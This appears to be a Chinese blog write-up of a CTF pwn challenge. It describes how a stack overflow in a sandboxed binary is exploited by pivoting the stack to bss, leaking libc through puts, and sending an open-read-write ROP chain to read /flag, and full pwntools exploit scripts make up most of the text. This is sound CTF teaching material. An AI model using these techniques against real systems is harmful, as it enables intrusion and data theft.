开篇先提一嘴,本文重点不是讲述如何利用ORW来解决沙盒问题,在文中只是简述了ORW,本文只是讲述了一种新的解题思路,想具体了解ORW解法的朋友可以看看我的另一篇博客:
https://blog.csdn.net/2301_79880752/article/details/136016919?spm=1001.2014.3001.5501
开启NX,64位,动态编译,IDA分析:
只有一个read函数,查看有没有沙盒
可以看到,确实存在沙盒,因此本题无法通过libc来解题,那就只能用orw了
那第一步肯定是泄露libc基址了
由于本题只有一次读入,且溢出字节只有0x10,我们又无法得知read函数起始地址,因此,无法一开始就使用栈迁移来泄露地址
那要如何去做呢?我们需要先找到一个bss段地址,将read函数读入位置迁移到了bss段上,这样我们就可以知道read函数读入的起始地址了
其实这也是通过栈迁移实现的,不太了解的朋友可以去看看我的第一篇博客
https://blog.csdn.net/2301_79880752/article/details/135721773?spm=1001.2014.3001.5501
得到read函数读入的起始位置之后我们就可以泄露libc基址了
到泄露libc基址的脚本是这样的
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("47.102.130.35",31975)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)
rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================
泄露完libc基址,我就想着直接使用orw来解题,但是由于本题限制了读入字节,而字节最短的orwpayload也还是超过了0x50个字节,于是我就想到了利用栈迁移构造出read函数来解决读入字节不够的问题
其实也不难,我们只需要找到libc库中我们需要用到的函数地址,寄存器地址,以及我们读入的位置就可以构造了
函数地址与寄存器地址可以通过libc基址计算得出,难点在于寻找读入的位置
我们需要在调试中寻找本次构造的read函数的读入起始位置,将其作为读入的位置,因为我们后面要在这个构造的read函数中读入orw,我们将orw写入到read函数起始地址上,再通过栈迁移执行读入的内容,即可获取权限,为了使程序运行成功我们可以先随便写一个bss地址作为读入位置
在调试得到起始地址后再将随便写的bss段修改为起始地址
有朋友会问,那本地调试得到的地址在远程连接时还能一样吗?
还记得我们一开始将读入位置迁到bss段上了吗,连接远程时程序运行时的生成栈地址可能会改变,但是,内存(bss)是不会变的,因此本题我们可以直接通过调试得到起始地址,而这个起始地址必然是bss段地址,也就是说在连接远程的时候是不会改变的
随后我们经过调试可以得到我们构造read函数的起始地址
通过调试我们看到,read函数的起始地址确实是一个bss段地址
于是我们就可以将先前随便输入的读入地址改为这个地址
随后在下一次读入时写入orw,得到flag
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("47.102.130.35",31975)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)
rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
pay=p64(rdi)+p64(0)+p64(rsi)+p64(0x404a80-8)+p64(rdx_r12)+p64(0x1000)*2+p64(read_addr)+p64(bss+0x500-8)+p64(0x00000000004011ec)
bug()
p.send(pay)
pause()
payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(0x404a80-8)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)
payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)
payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
p.send(payload)
p.interactive()
由于本题我使用的是手搓的orw,再最前面会读入八个字节的/flag\x00\x00\x00
因此在读入字节那里需要将0x404a80修改为0x404a80-8,这样读入的最开始八个字节就不算在起始地址里,也就不影响程序运行了
当然,如果使用工具生成的orw,脚本会有所改动,这边就不提及了,有需要调试的朋友可以私信我要原题